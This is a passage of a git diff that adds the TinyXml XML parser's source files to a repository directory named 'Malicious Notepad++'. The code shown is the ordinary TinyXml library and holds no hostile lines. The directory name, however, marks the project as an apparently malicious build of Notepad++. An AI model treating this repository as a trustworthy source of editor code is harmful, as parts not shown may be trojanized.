( generic_sscanf( value.c_str(), TEXT("%lf"), dval ) == 1 ) + return TIXML_SUCCESS; + return TIXML_WRONG_TYPE; +} + +void TiXmlAttribute::SetIntValue( int _value ) +{ + TCHAR buf [64]; + wsprintf (buf, TEXT("%d"), _value); + SetValue (buf); +} + +void TiXmlAttribute::SetDoubleValue( double _value ) +{ + TCHAR buf [64]; + wsprintf (buf, TEXT("%lf"), _value); + SetValue (buf); +} + +const int TiXmlAttribute::IntValue() const +{ + return generic_atoi (value.c_str ()); +} + +const double TiXmlAttribute::DoubleValue() const +{ + return generic_atof (value.c_str ()); +} + +void TiXmlComment::Print( FILE* cfile, int depth ) const +{ + for ( int i=0; i"), value.c_str() ); +} + +void TiXmlComment::StreamOut( TIXML_OSTREAM * stream ) const +{ + (*stream) << TEXT(""); +} + +TiXmlNode* TiXmlComment::Clone() const +{ + TiXmlComment* clone = new TiXmlComment(); + + if ( !clone ) + return 0; + + CopyToClone( clone ); + return clone; +} + + +void TiXmlText::Print( FILE* cfile, int /*depth*/ ) const +{ + TIXML_STRING buffer; + PutString( value, &buffer ); + generic_fprintf( cfile, TEXT("%s"), buffer.c_str() ); +} + + +void TiXmlText::StreamOut( TIXML_OSTREAM * stream ) const +{ + PutString( value, stream ); +} + + +TiXmlNode* TiXmlText::Clone() const +{ + TiXmlText* clone = 0; + clone = new TiXmlText( TEXT("") ); + + if ( !clone ) + return 0; + + CopyToClone( clone ); + return clone; +} + + +TiXmlDeclaration::TiXmlDeclaration( const TCHAR * _version, + const TCHAR * _encoding, + const TCHAR * _standalone ) +: TiXmlNode( TiXmlNode::DECLARATION ) +{ + version = _version; + encoding = _encoding; + standalone = _standalone; +} + + +void TiXmlDeclaration::Print( FILE* cfile, int /*depth*/ ) const +{ + generic_fprintf (cfile, TEXT("")); +} + +void TiXmlDeclaration::StreamOut( TIXML_OSTREAM * stream ) const +{ + (*stream) << TEXT(""); +} + +TiXmlNode* TiXmlDeclaration::Clone() const +{ + TiXmlDeclaration* clone = new TiXmlDeclaration(); + + if ( !clone ) + return 0; + + CopyToClone( clone ); + clone->version = version; + clone->encoding = encoding; + clone->standalone = standalone; + return clone; +} + + +void TiXmlUnknown::Print( FILE* cfile, int depth ) const +{ + for ( int i=0; i"); // Don't use entities hear! It is unknown. +} + +TiXmlNode* TiXmlUnknown::Clone() const +{ + TiXmlUnknown* clone = new TiXmlUnknown(); + + if ( !clone ) + return 0; + + CopyToClone( clone ); + return clone; +} + + +TiXmlAttributeSet::TiXmlAttributeSet() +{ + sentinel.next = &sentinel; + sentinel.prev = &sentinel; +} + + +TiXmlAttributeSet::~TiXmlAttributeSet() +{ + assert( sentinel.next == &sentinel ); + assert( sentinel.prev == &sentinel ); +} + + +void TiXmlAttributeSet::Add( TiXmlAttribute* addMe ) +{ + assert( !Find( addMe->Name() ) ); // Shouldn't be multiply adding to the set. + + addMe->next = &sentinel; + addMe->prev = sentinel.prev; + + sentinel.prev->next = addMe; + sentinel.prev = addMe; +} + +void TiXmlAttributeSet::Remove( TiXmlAttribute* removeMe ) +{ + TiXmlAttribute* node; + + for( node = sentinel.next; node != &sentinel; node = node->next ) + { + if ( node == removeMe ) + { + node->prev->next = node->next; + node->next->prev = node->prev; + node->next = 0; + node->prev = 0; + return; + } + } + assert( 0 ); // we tried to remove a non-linked attribute. +} + +TiXmlAttribute* TiXmlAttributeSet::Find( const TCHAR * name ) const +{ + TiXmlAttribute* node; + + for( node = sentinel.next; node != &sentinel; node = node->next ) + { + if ( node->name == name ) + return node; + } + return 0; +} + + +#ifdef TIXML_USE_STL +TIXML_ISTREAM & operator >> (TIXML_ISTREAM & in, TiXmlNode & base) +{ + TIXML_STRING tag; + tag.reserve( 8 * 1000 ); + base.StreamIn( &in, &tag ); + + base.Parse( tag.c_str(), 0 ); + return in; +} +#endif + + +TIXML_OSTREAM & operator<< (TIXML_OSTREAM & out, const TiXmlNode & base) +{ + base.StreamOut (& out); + return out; +} + + +#ifdef TIXML_USE_STL +generic_string & operator<< (generic_string& out, const TiXmlNode& base ) +{ + + //std::ostringstream os_stream( std::ostringstream::out ); + std::basic_ostringstream os_stream( std::ostringstream::out ); + base.StreamOut( &os_stream ); + + out.append( os_stream.str() ); + return out; +} +#endif + + +TiXmlHandle TiXmlHandle::FirstChild() const +{ + if ( node ) + { + TiXmlNode* child = node->FirstChild(); + if ( child ) + return TiXmlHandle( child ); + } + return TiXmlHandle( 0 ); +} + + +TiXmlHandle TiXmlHandle::FirstChild( const TCHAR * value ) const +{ + if ( node ) + { + TiXmlNode* child = node->FirstChild( value ); + if ( child ) + return TiXmlHandle( child ); + } + return TiXmlHandle( 0 ); +} + + +TiXmlHandle TiXmlHandle::FirstChildElement() const +{ + if ( node ) + { + TiXmlElement* child = node->FirstChildElement(); + if ( child ) + return TiXmlHandle( child ); + } + return TiXmlHandle( 0 ); +} + + +TiXmlHandle TiXmlHandle::FirstChildElement( const TCHAR * value ) const +{ + if ( node ) + { + TiXmlElement* child = node->FirstChildElement( value ); + if ( child ) + return TiXmlHandle( child ); + } + return TiXmlHandle( 0 ); +} + +TiXmlHandle TiXmlHandle::Child( int count ) const +{ + if ( node ) + { + int i; + TiXmlNode* child = node->FirstChild(); + for ( i=0; + child && iNextSibling(), ++i ) + { + // nothing + } + if ( child ) + return TiXmlHandle( child ); + } + return TiXmlHandle( 0 ); +} + + +TiXmlHandle TiXmlHandle::Child( const TCHAR* value, int count ) const +{ + if ( node ) + { + int i; + TiXmlNode* child = node->FirstChild( value ); + for ( i=0; + child && iNextSibling( value ), ++i ) + { + // nothing + } + if ( child ) + return TiXmlHandle( child ); + } + return TiXmlHandle( 0 ); +} + + +TiXmlHandle TiXmlHandle::ChildElement( int count ) const +{ + if ( node ) + { + int i; + TiXmlElement* child = node->FirstChildElement(); + for ( i=0; + child && iNextSiblingElement(), ++i ) + { + // nothing + } + if ( child ) + return TiXmlHandle( child ); + } + return TiXmlHandle( 0 ); +} + + +TiXmlHandle TiXmlHandle::ChildElement( const TCHAR* value, int count ) const +{ + if ( node ) + { + int i; + TiXmlElement* child = node->FirstChildElement( value ); + for ( i=0; + child && iNextSiblingElement( value ), ++i ) + { + // nothing + } + if ( child ) + return TiXmlHandle( child ); + } + return TiXmlHandle( 0 ); +} diff --git a/Malicious Notepad++/src/TinyXml/tinyxml.h b/Malicious Notepad++/src/TinyXml/tinyxml.h new file mode 100644 index 0000000..f5b3c61 --- /dev/null +++ b/Malicious Notepad++/src/TinyXml/tinyxml.h @@ -0,0 +1,1263 @@ +/* +www.sourceforge.net/projects/tinyxml +Original code (2.0 and earlier )copyright (c) 2000-2002 Lee Thomason (www.grinninglizard.com) + +This software is provided 'as-is', without any express or implied +warranty. In no event will the authors be held liable for any +damages arising from the use of this software. + +Permission is granted to anyone to use this software for any +purpose, including commercial applications, and to alter it and +redistribute it freely, subject to the following restrictions: + +1. The origin of this software must not be misrepresented; you must +not claim that you wrote the original software. If you use this +software in a product, an acknowledgment in the product documentation +would be appreciated but is not required. + +2. Altered source versions must be plainly marked as such, and +must not be misrepresented as being the original software. + +3. This notice may not be removed or altered from any source +distribution. +*/ + + +#ifndef TINYXML_INCLUDED +#define TINYXML_INCLUDED + +#ifdef _MSC_VER +#pragma warning( push ) +#pragma warning( disable : 4458 ) // declaration of 'parameter' hides class member +#pragma warning( disable : 4530 ) +#pragma warning( disable : 4786 ) +#endif + + +// Help out windows: +#if defined( _DEBUG ) && !defined( DEBUG ) +#define DEBUG +#endif + +#if defined( DEBUG ) && defined( _MSC_VER ) + +#define TIXML_LOG OutputDebugString +#else +#define TIXML_LOG printf +#endif + +#ifdef TIXML_USE_STL + #define TIXML_STRING generic_string + #define TIXML_ISTREAM std::basic_istream + #define TIXML_OSTREAM std::basic_ostream +#else + #include "tinystr.h" + #define TIXML_STRING TiXmlString + #define TIXML_OSTREAM TiXmlOutStream +#endif + +#include + +#include + +#include "Common.h" + +class TiXmlDocument; +class TiXmlElement; +class TiXmlComment; +class TiXmlUnknown; +class TiXmlAttribute; +class TiXmlText; +class TiXmlDeclaration; + +class TiXmlParsingData; + +/* Internal structure for tracking location of items + in the XML file. +*/ +struct TiXmlCursor +{ + TiXmlCursor() { Clear(); } + void Clear() { row = col = -1; } + + int row; // 0 based. + int col; // 0 based. +}; + + +// Only used by Attribute::Query functions +enum +{ + TIXML_SUCCESS, + TIXML_NO_ATTRIBUTE, + TIXML_WRONG_TYPE +}; + +/** TiXmlBase is a base class for every class in TinyXml. + It does little except to establish that TinyXml classes + can be printed and provide some utility functions. + + In XML, the document and elements can contain + other elements and other types of nodes. + + @verbatim + A Document can contain: Element (container or leaf) + Comment (leaf) + Unknown (leaf) + Declaration( leaf ) + + An Element can contain: Element (container or leaf) + Text (leaf) + Attributes (not on tree) + Comment (leaf) + Unknown (leaf) + + A Decleration contains: Attributes (not on tree) + @endverbatim +*/ +class TiXmlBase +{ + friend class TiXmlNode; + friend class TiXmlElement; + friend class TiXmlDocument; + +public: + TiXmlBase() {} + virtual ~TiXmlBase() {} + + /** All TinyXml classes can print themselves to a filestream. + This is a formatted print, and will insert tabs and newlines. + + (For an unformatted stream, use the << operator.) + */ + virtual void Print( FILE* cfile, int depth ) const = 0; + + /** The world does not agree on whether white space should be kept or + not. In order to make everyone happy, these global, static functions + are provided to set whether or not TinyXml will condense all white space + into a single space or not. The default is to condense. Note changing this + values is not thread safe. + */ + static void SetCondenseWhiteSpace( bool condense ) { condenseWhiteSpace = condense; } + + /// Return the current white space setting. + static bool IsWhiteSpaceCondensed() { return condenseWhiteSpace; } + + /** Return the position, in the original source file, of this node or attribute. + The row and column are 1-based. (That is the first row and first column is + 1,1). If the returns values are 0 or less, then the parser does not have + a row and column value. + + Generally, the row and column value will be set when the TiXmlDocument::Load(), + TiXmlDocument::LoadFile(), or any TiXmlNode::Parse() is called. It will NOT be set + when the DOM was created from operator>>. + + The values reflect the initial load. Once the DOM is modified programmatically + (by adding or changing nodes and attributes) the new values will NOT update to + reflect changes in the document. + + There is a minor performance cost to computing the row and column. Computation + can be disabled if TiXmlDocument::SetTabSize() is called with 0 as the value. + + @sa TiXmlDocument::SetTabSize() + */ + int Row() const { return location.row + 1; } + int Column() const { return location.col + 1; } ///< See Row() + +protected: + // See STL_STRING_BUG + // Utility class to overcome a bug. + class StringToBuffer + { + public: + StringToBuffer( const TIXML_STRING& str ); + ~StringToBuffer(); + TCHAR* buffer; + }; + + static const TCHAR* SkipWhiteSpace( const TCHAR* ); + inline static bool IsWhiteSpace( int c ) { return ( isspace( c ) || c == '\n' || c == '\r' ); } + + virtual void StreamOut (TIXML_OSTREAM *) const = 0; + + #ifdef TIXML_USE_STL + static bool StreamWhiteSpace( TIXML_ISTREAM * in, TIXML_STRING * tag ); + static bool StreamTo( TIXML_ISTREAM * in, int character, TIXML_STRING * tag ); + #endif + + /* Reads an XML name into the generic_string provided. Returns + a pointer just past the last character of the name, + or 0 if the function has an error. + */ + static const TCHAR* ReadName( const TCHAR* p, TIXML_STRING* name ); + + /* Reads text. Returns a pointer past the given end tag. + Wickedly complex options, but it keeps the (sensitive) code in one place. + */ + static const TCHAR* ReadText( const TCHAR* in, // where to start + TIXML_STRING* text, // the generic_string read + bool ignoreWhiteSpace, // whether to keep the white space + const TCHAR* endTag, // what ends this text + bool ignoreCase ); // whether to ignore case in the end tag + + virtual const TCHAR* Parse( const TCHAR* p, TiXmlParsingData* data ) = 0; + + // If an entity has been found, transform it into a character. + static const TCHAR* GetEntity( const TCHAR* in, TCHAR* value ); + + // Get a character, while interpreting entities. + inline static const TCHAR* GetChar( const TCHAR* p, TCHAR* _value ) + { + assert( p ); + if ( *p == '&' ) + { + return GetEntity( p, _value ); + } + else + { + *_value = *p; + return p+1; + } + } + + // Puts a generic_string to a stream, expanding entities as it goes. + // Note this should not contian the '<', '>', etc, or they will be transformed into entities! + static void PutString( const TIXML_STRING& str, TIXML_OSTREAM* out ); + + static void PutString( const TIXML_STRING& str, TIXML_STRING* out ); + + // Return true if the next characters in the stream are any of the endTag sequences. + static bool StringEqual( const TCHAR* p, + const TCHAR* endTag, + bool ignoreCase ); + + + enum + { + TIXML_NO_ERROR = 0, + TIXML_ERROR, + TIXML_ERROR_OPENING_FILE, + TIXML_ERROR_OUT_OF_MEMORY, + TIXML_ERROR_PARSING_ELEMENT, + TIXML_ERROR_FAILED_TO_READ_ELEMENT_NAME, + TIXML_ERROR_READING_ELEMENT_VALUE, + TIXML_ERROR_READING_ATTRIBUTES, + TIXML_ERROR_PARSING_EMPTY, + TIXML_ERROR_READING_END_TAG, + TIXML_ERROR_PARSING_UNKNOWN, + TIXML_ERROR_PARSING_COMMENT, + TIXML_ERROR_PARSING_DECLARATION, + TIXML_ERROR_DOCUMENT_EMPTY, + + TIXML_ERROR_STRING_COUNT + }; + static const TCHAR* errorString[ TIXML_ERROR_STRING_COUNT ]; + + TiXmlCursor location; + +private: + struct Entity + { + const TCHAR* str; + unsigned int strLength; + TCHAR chr; + }; + enum + { + NUM_ENTITY = 5, + MAX_ENTITY_LENGTH = 6 + + }; + static Entity entity[ NUM_ENTITY ]; + static bool condenseWhiteSpace; +}; + + +/** The parent class for everything in the Document Object Model. + (Except for attributes). + Nodes have siblings, a parent, and children. A node can be + in a document, or stand on its own. The type of a TiXmlNode + can be queried, and it can be cast to its more defined type. +*/ +class TiXmlNode : public TiXmlBase +{ + friend class TiXmlDocument; + friend class TiXmlElement; + +public: + #ifdef TIXML_USE_STL + + /** An input stream operator, for every class. Tolerant of newlines and + formatting, but doesn't expect them. + */ + friend std::basic_istream& operator >> (std::basic_istream& in, TiXmlNode& base); + + /** An output stream operator, for every class. Note that this outputs + without any newlines or formatting, as opposed to Print(), which + includes tabs and new lines. + + The operator<< and operator>> are not completely symmetric. Writing + a node to a stream is very well defined. You'll get a nice stream + of output, without any extra whitespace or newlines. + + But reading is not as well defined. (As it always is.) If you create + a TiXmlElement (for example) and read that from an input stream, + the text needs to define an element or junk will result. This is + true of all input streams, but it's worth keeping in mind. + + A TiXmlDocument will read nodes until it reads a root element, and + all the children of that root element. + */ + friend std::basic_ostream& operator<< (std::basic_ostream& out, const TiXmlNode& base); + + /// Appends the XML node or attribute to a string. + friend generic_string& operator<< (generic_string& out, const TiXmlNode& base ); + + #else + // Used internally, not part of the public API. + friend TIXML_OSTREAM& operator<< (TIXML_OSTREAM& out, const TiXmlNode& base); + #endif + + /** The types of XML nodes supported by TinyXml. (All the + unsupported types are picked up by UNKNOWN.) + */ + enum NodeType + { + DOCUMENT, + ELEMENT, + COMMENT, + UNKNOWN, + TEXT, + DECLARATION, + TYPECOUNT + }; + + virtual ~TiXmlNode(); + + /** The meaning of 'value' changes for the specific type of + TiXmlNode. + @verbatim + Document: filename of the xml file + Element: name of the element + Comment: the comment text + Unknown: the tag contents + Text: the text generic_string + @endverbatim + + The subclasses will wrap this function. + */ + const TCHAR * Value() const { return value.c_str (); } + + /** Changes the value of the node. Defined as: + @verbatim + Document: filename of the xml file + Element: name of the element + Comment: the comment text + Unknown: the tag contents + Text: the text generic_string + @endverbatim + */ + void SetValue(const TCHAR * _value) { value = _value;} + + #ifdef TIXML_USE_STL + /// STL string form. + void SetValue( const generic_string& _value ) + { + StringToBuffer buf( _value ); + SetValue( buf.buffer ? buf.buffer : TEXT("") ); + } + #endif + + /// Delete all the children of this node. Does not affect 'this'. + void Clear(); + + /// One step up the DOM. + TiXmlNode* Parent() const { return parent; } + + TiXmlNode* FirstChild() const { return firstChild; } ///< The first child of this node. Will be null if there are no children. + TiXmlNode* FirstChild( const TCHAR * value ) const; ///< The first child of this node with the matching 'value'. Will be null if none found. + + TiXmlNode* LastChild() const { return lastChild; } /// The last child of this node. Will be null if there are no children. + TiXmlNode* LastChild( const TCHAR * value ) const; /// The last child of this node matching 'value'. Will be null if there are no children. + + #ifdef TIXML_USE_STL + TiXmlNode* FirstChild( const generic_string& _value ) const { return FirstChild (_value.c_str ()); } ///< STL std::generic_string form. + TiXmlNode* LastChild( const generic_string& _value ) const { return LastChild (_value.c_str ()); } ///< STL std::generic_string form. + #endif + + /** An alternate way to walk the children of a node. + One way to iterate over nodes is: + @verbatim + for( child = parent->FirstChild(); child; child = child->NextSibling() ) + @endverbatim + + IterateChildren does the same thing with the syntax: + @verbatim + child = 0; + while( child = parent->IterateChildren( child ) ) + @endverbatim + + IterateChildren takes the previous child as input and finds + the next one. If the previous child is null, it returns the + first. IterateChildren will return null when done. + */ + TiXmlNode* IterateChildren( TiXmlNode* previous ) const; + + /// This flavor of IterateChildren searches for children with a particular 'value' + TiXmlNode* IterateChildren( const TCHAR * value, TiXmlNode* previous ) const; + + #ifdef TIXML_USE_STL + TiXmlNode* IterateChildren( const generic_string& _value, TiXmlNode* previous ) const { return IterateChildren (_value.c_str (), previous); } ///< STL std::generic_string form. + #endif + + /** Add a new node related to this. Adds a child past the LastChild. + Returns a pointer to the new object or NULL if an error occured. + */ + TiXmlNode* InsertEndChild( const TiXmlNode& addThis ); + + + /** Add a new node related to this. Adds a child past the LastChild. + + NOTE: the node to be added is passed by pointer, and will be + henceforth owned (and deleted) by tinyXml. This method is efficient + and avoids an extra copy, but should be used with care as it + uses a different memory model than the other insert functions. + + @sa InsertEndChild + */ + TiXmlNode* LinkEndChild( TiXmlNode* addThis ); + + /** Add a new node related to this. Adds a child before the specified child. + Returns a pointer to the new object or NULL if an error occured. + */ + TiXmlNode* InsertBeforeChild( TiXmlNode* beforeThis, const TiXmlNode& addThis ); + + /** Add a new node related to this. Adds a child after the specified child. + Returns a pointer to the new object or NULL if an error occured. + */ + TiXmlNode* InsertAfterChild( TiXmlNode* afterThis, const TiXmlNode& addThis ); + + /** Replace a child of this node. + Returns a pointer to the new object or NULL if an error occured. + */ + TiXmlNode* ReplaceChild( TiXmlNode* replaceThis, const TiXmlNode& withThis ); + + /// Delete a child of this node. + bool RemoveChild( TiXmlNode* removeThis ); + + /// Navigate to a sibling node. + TiXmlNode* PreviousSibling() const { return prev; } + + /// Navigate to a sibling node. + TiXmlNode* PreviousSibling( const TCHAR * ) const; + + #ifdef TIXML_USE_STL + TiXmlNode* PreviousSibling( const generic_string& _value ) const { return PreviousSibling (_value.c_str ()); } ///< STL std::generic_string form. + TiXmlNode* NextSibling( const generic_string& _value) const { return NextSibling (_value.c_str ()); } ///< STL std::generic_string form. + #endif + + /// Navigate to a sibling node. + TiXmlNode* NextSibling() const { return next; } + + /// Navigate to a sibling node with the given 'value'. + TiXmlNode* NextSibling( const TCHAR * ) const; + + /** Convenience function to get through elements. + Calls NextSibling and ToElement. Will skip all non-Element + nodes. Returns 0 if there is not another element. + */ + TiXmlElement* NextSiblingElement() const; + + /** Convenience function to get through elements. + Calls NextSibling and ToElement. Will skip all non-Element + nodes. Returns 0 if there is not another element. + */ + TiXmlElement* NextSiblingElement( const TCHAR * ) const; + + #ifdef TIXML_USE_STL + TiXmlElement* NextSiblingElement( const generic_string& _value) const { return NextSiblingElement (_value.c_str ()); } ///< STL std::generic_string form. + #endif + + /// Convenience function to get through elements. + TiXmlElement* FirstChildElement() const; + + /// Convenience function to get through elements. + TiXmlElement* FirstChildElement( const TCHAR * value ) const; + + #ifdef TIXML_USE_STL + TiXmlElement* FirstChildElement( const generic_string& _value ) const { return FirstChildElement (_value.c_str ()); } ///< STL std::generic_string form. + #endif + + /** Query the type (as an enumerated value, above) of this node. + The possible types are: DOCUMENT, ELEMENT, COMMENT, + UNKNOWN, TEXT, and DECLARATION. + */ + virtual int Type() const { return type; } + + /** Return a pointer to the Document this node lives in. + Returns null if not in a document. + */ + TiXmlDocument* GetDocument() const; + + /// Returns true if this node has no children. + bool NoChildren() const { return !firstChild; } + + TiXmlDocument* ToDocument() const { return ( this && type == DOCUMENT ) ? (TiXmlDocument*) this : 0; } ///< Cast to a more defined type. Will return null not of the requested type. + TiXmlElement* ToElement() const { return ( this && type == ELEMENT ) ? (TiXmlElement*) this : 0; } ///< Cast to a more defined type. Will return null not of the requested type. + TiXmlComment* ToComment() const { return ( this && type == COMMENT ) ? (TiXmlComment*) this : 0; } ///< Cast to a more defined type. Will return null not of the requested type. + TiXmlUnknown* ToUnknown() const { return ( this && type == UNKNOWN ) ? (TiXmlUnknown*) this : 0; } ///< Cast to a more defined type. Will return null not of the requested type. + TiXmlText* ToText() const { return ( this && type == TEXT ) ? (TiXmlText*) this : 0; } ///< Cast to a more defined type. Will return null not of the requested type. + TiXmlDeclaration* ToDeclaration() const { return ( this && type == DECLARATION ) ? (TiXmlDeclaration*) this : 0; } ///< Cast to a more defined type. Will return null not of the requested type. + + virtual TiXmlNode* Clone() const = 0; + + void SetUserData( void* user ) { userData = user; } + void* GetUserData() { return userData; } + +protected: + TiXmlNode( NodeType type ); + + #ifdef TIXML_USE_STL + // The real work of the input operator. + virtual void StreamIn( TIXML_ISTREAM* in, TIXML_STRING* tag ) = 0; + #endif + + // Figure out what is at *p, and parse it. Returns null if it is not an xml node. + TiXmlNode* Identify( const TCHAR* start ); + void CopyToClone( TiXmlNode* target ) const { target->SetValue (value.c_str() ); + target->userData = userData; } + + // Internal Value function returning a TIXML_STRING + TIXML_STRING SValue() const { return value ; } + + TiXmlNode* parent; + NodeType type; + + TiXmlNode* firstChild; + TiXmlNode* lastChild; + + TIXML_STRING value; + + TiXmlNode* prev; + TiXmlNode* next; + void* userData; +}; + + +/** An attribute is a name-value pair. Elements have an arbitrary + number of attributes, each with a unique name. + + @note The attributes are not TiXmlNodes, since they are not + part of the tinyXML document object model. There are other + suggested ways to look at this problem. +*/ +class TiXmlAttribute : public TiXmlBase +{ + friend class TiXmlAttributeSet; + +public: + /// Construct an empty attribute. + TiXmlAttribute() + { + document = 0; + prev = next = 0; + } + + #ifdef TIXML_USE_STL + /// string constructor. + TiXmlAttribute( const generic_string& _name, const generic_string& _value ) + { + name = _name; + value = _value; + document = 0; + prev = next = 0; + } + #endif + + /// Construct an attribute with a name and value. + TiXmlAttribute( const TCHAR * _name, const TCHAR * _value ) + { + name = _name; + value = _value; + document = 0; + prev = next = 0; + } + + const TCHAR* Name() const { return name.c_str (); } ///< Return the name of this attribute. + const TCHAR* Value() const { return value.c_str (); } ///< Return the value of this attribute. + const int IntValue() const; ///< Return the value of this attribute, converted to an integer. + const double DoubleValue() const; ///< Return the value of this attribute, converted to a double. + + /** QueryIntValue examines the value generic_string. It is an alternative to the + IntValue() method with richer error checking. + If the value is an integer, it is stored in 'value' and + the call returns TIXML_SUCCESS. If it is not + an integer, it returns TIXML_WRONG_TYPE. + + A specialized but useful call. Note that for success it returns 0, + which is the opposite of almost all other TinyXml calls. + */ + int QueryIntValue( int* value ) const; + /// QueryDoubleValue examines the value generic_string. See QueryIntValue(). + int QueryDoubleValue( double* value ) const; + + void SetName( const TCHAR* _name ) { name = _name; } ///< Set the name of this attribute. + void SetValue( const TCHAR* _value ) { value = _value; } ///< Set the value. + + void SetIntValue( int value ); ///< Set the value from an integer. + void SetDoubleValue( double value ); ///< Set the value from a double. + + #ifdef TIXML_USE_STL + /// STL string form. + void SetName( const generic_string& _name ) + { + StringToBuffer buf( _name ); + SetName ( buf.buffer ? buf.buffer : TEXT("error") ); + } + /// STL string form. + void SetValue( const generic_string& _value ) + { + StringToBuffer buf( _value ); + SetValue( buf.buffer ? buf.buffer : TEXT("error") ); + } + #endif + + /// Get the next sibling attribute in the DOM. Returns null at end. + TiXmlAttribute* Next() const; + /// Get the previous sibling attribute in the DOM. Returns null at beginning. + TiXmlAttribute* Previous() const; + + bool operator==( const TiXmlAttribute& rhs ) const { return rhs.name == name; } + bool operator<( const TiXmlAttribute& rhs ) const { return name < rhs.name; } + bool operator>( const TiXmlAttribute& rhs ) const { return name > rhs.name; } + + /* [internal use] + Attribtue parsing starts: first letter of the name + returns: the next TCHAR after the value end quote + */ + virtual const TCHAR* Parse( const TCHAR* p, TiXmlParsingData* data ); + + // [internal use] + virtual void Print( FILE* cfile, int depth ) const; + + virtual void StreamOut( TIXML_OSTREAM * out ) const; + // [internal use] + // Set the document pointer so the attribute can report errors. + void SetDocument( TiXmlDocument* doc ) { document = doc; } + +private: + TiXmlDocument* document; // A pointer back to a document, for error reporting. + TIXML_STRING name; + TIXML_STRING value; + TiXmlAttribute* prev; + TiXmlAttribute* next; +}; + + +/* A class used to manage a group of attributes. + It is only used internally, both by the ELEMENT and the DECLARATION. + + The set can be changed transparent to the Element and Declaration + classes that use it, but NOT transparent to the Attribute + which has to implement a next() and previous() method. Which makes + it a bit problematic and prevents the use of STL. + + This version is implemented with circular lists because: + - I like circular lists + - it demonstrates some independence from the (typical) doubly linked list. +*/ +class TiXmlAttributeSet +{ +public: + TiXmlAttributeSet(); + ~TiXmlAttributeSet(); + + void Add( TiXmlAttribute* attribute ); + void Remove( TiXmlAttribute* attribute ); + + TiXmlAttribute* First() const { return ( sentinel.next == &sentinel ) ? 0 : sentinel.next; } + TiXmlAttribute* Last() const { return ( sentinel.prev == &sentinel ) ? 0 : sentinel.prev; } + TiXmlAttribute* Find( const TCHAR * name ) const; + +private: + TiXmlAttribute sentinel; +}; + + +/** The element is a container class. It has a value, the element name, + and can contain other elements, text, comments, and unknowns. + Elements also contain an arbitrary number of attributes. +*/ +class TiXmlElement : public TiXmlNode +{ +public: + /// Construct an element. + TiXmlElement (const TCHAR * in_value); + + #ifdef TIXML_USE_STL + /// string constructor. + TiXmlElement( const generic_string& _value ) : TiXmlNode( TiXmlNode::ELEMENT ) + { + firstChild = lastChild = 0; + value = _value; + } + #endif + + virtual ~TiXmlElement(); + + /** Given an attribute name, Attribute() returns the value + for the attribute of that name, or null if none exists. + */ + const TCHAR* Attribute( const TCHAR* name ) const; + + /** Given an attribute name, Attribute() returns the value + for the attribute of that name, or null if none exists. + If the attribute exists and can be converted to an integer, + the integer value will be put in the return 'i', if 'i' + is non-null. + */ + const TCHAR* Attribute( const TCHAR* name, int* i ) const; + + /** Given an attribute name, Attribute() returns the value + for the attribute of that name, or null if none exists. + If the attribute exists and can be converted to an double, + the double value will be put in the return 'd', if 'd' + is non-null. + */ + const TCHAR* Attribute( const TCHAR* name, double* d ) const; + + /** QueryIntAttribute examines the attribute - it is an alternative to the + Attribute() method with richer error checking. + If the attribute is an integer, it is stored in 'value' and + the call returns TIXML_SUCCESS. If it is not + an integer, it returns TIXML_WRONG_TYPE. If the attribute + does not exist, then TIXML_NO_ATTRIBUTE is returned. + */ + int QueryIntAttribute( const TCHAR* name, int* value ) const; + /// QueryDoubleAttribute examines the attribute - see QueryIntAttribute(). + int QueryDoubleAttribute( const TCHAR* name, double* value ) const; + + /** Sets an attribute of name to a given value. The attribute + will be created if it does not exist, or changed if it does. + */ + void SetAttribute( const TCHAR* name, const TCHAR * value ); + + #ifdef TIXML_USE_STL + const TCHAR* Attribute( const generic_string& name ) const { return Attribute( name.c_str() ); } + const TCHAR* Attribute( const generic_string& name, int* i ) const { return Attribute( name.c_str(), i ); } + + /// STL string form. + void SetAttribute( const generic_string& name, const generic_string& _value ) + { + StringToBuffer n( name ); + StringToBuffer v( _value ); + if ( n.buffer && v.buffer ) + SetAttribute (n.buffer, v.buffer ); + } + ///< STL string form. + void SetAttribute( const generic_string& name, int _value ) + { + StringToBuffer n( name ); + if ( n.buffer ) + SetAttribute (n.buffer, _value); + } + #endif + + /** Sets an attribute of name to a given value. The attribute + will be created if it does not exist, or changed if it does. + */ + void SetAttribute( const TCHAR * name, int value ); + + /** Deletes an attribute with the given name. + */ + void RemoveAttribute( const TCHAR * name ); + #ifdef TIXML_USE_STL + void RemoveAttribute( const generic_string& name ) { RemoveAttribute (name.c_str ()); } ///< STL string form. + #endif + + TiXmlAttribute* FirstAttribute() const { return attributeSet.First(); } ///< Access the first attribute in this element. + TiXmlAttribute* LastAttribute() const { return attributeSet.Last(); } ///< Access the last attribute in this element. + + // [internal use] Creates a new Element and returs it. + virtual TiXmlNode* Clone() const; + // [internal use] + + virtual void Print( FILE* cfile, int depth ) const; + +protected: + + // Used to be public [internal use] + #ifdef TIXML_USE_STL + virtual void StreamIn( TIXML_ISTREAM * in, TIXML_STRING * tag ); + #endif + virtual void StreamOut( TIXML_OSTREAM * out ) const; + + /* [internal use] + Attribtue parsing starts: next TCHAR past '<' + returns: next TCHAR past '>' + */ + virtual const TCHAR* Parse( const TCHAR* p, TiXmlParsingData* data ); + + /* [internal use] + Reads the "value" of the element -- another element, or text. + This should terminate with the current end tag. + */ + const TCHAR* ReadValue( const TCHAR* in, TiXmlParsingData* prevData ); + +private: + TiXmlAttributeSet attributeSet; +}; + + +/** An XML comment. +*/ +class TiXmlComment : public TiXmlNode +{ +public: + /// Constructs an empty comment. + TiXmlComment() : TiXmlNode( TiXmlNode::COMMENT ) {} + virtual ~TiXmlComment() {} + + // [internal use] Creates a new Element and returs it. + virtual TiXmlNode* Clone() const; + // [internal use] + virtual void Print( FILE* cfile, int depth ) const; +protected: + // used to be public + #ifdef TIXML_USE_STL + virtual void StreamIn( TIXML_ISTREAM * in, TIXML_STRING * tag ); + #endif + virtual void StreamOut( TIXML_OSTREAM * out ) const; + /* [internal use] + Attribtue parsing starts: at the ! of the !-- + returns: next TCHAR past '>' + */ + virtual const TCHAR* Parse( const TCHAR* p, TiXmlParsingData* data ); +}; + + +/** XML text. Contained in an element. +*/ +class TiXmlText : public TiXmlNode +{ + friend class TiXmlElement; +public: + /// Constructor. + TiXmlText (const TCHAR * initValue) : TiXmlNode (TiXmlNode::TEXT) + { + SetValue( initValue ); + } + virtual ~TiXmlText() {} + + #ifdef TIXML_USE_STL + /// Constructor. + TiXmlText( const generic_string& initValue ) : TiXmlNode (TiXmlNode::TEXT) + { + SetValue( initValue ); + } + #endif + + // [internal use] + virtual void Print( FILE* cfile, int depth ) 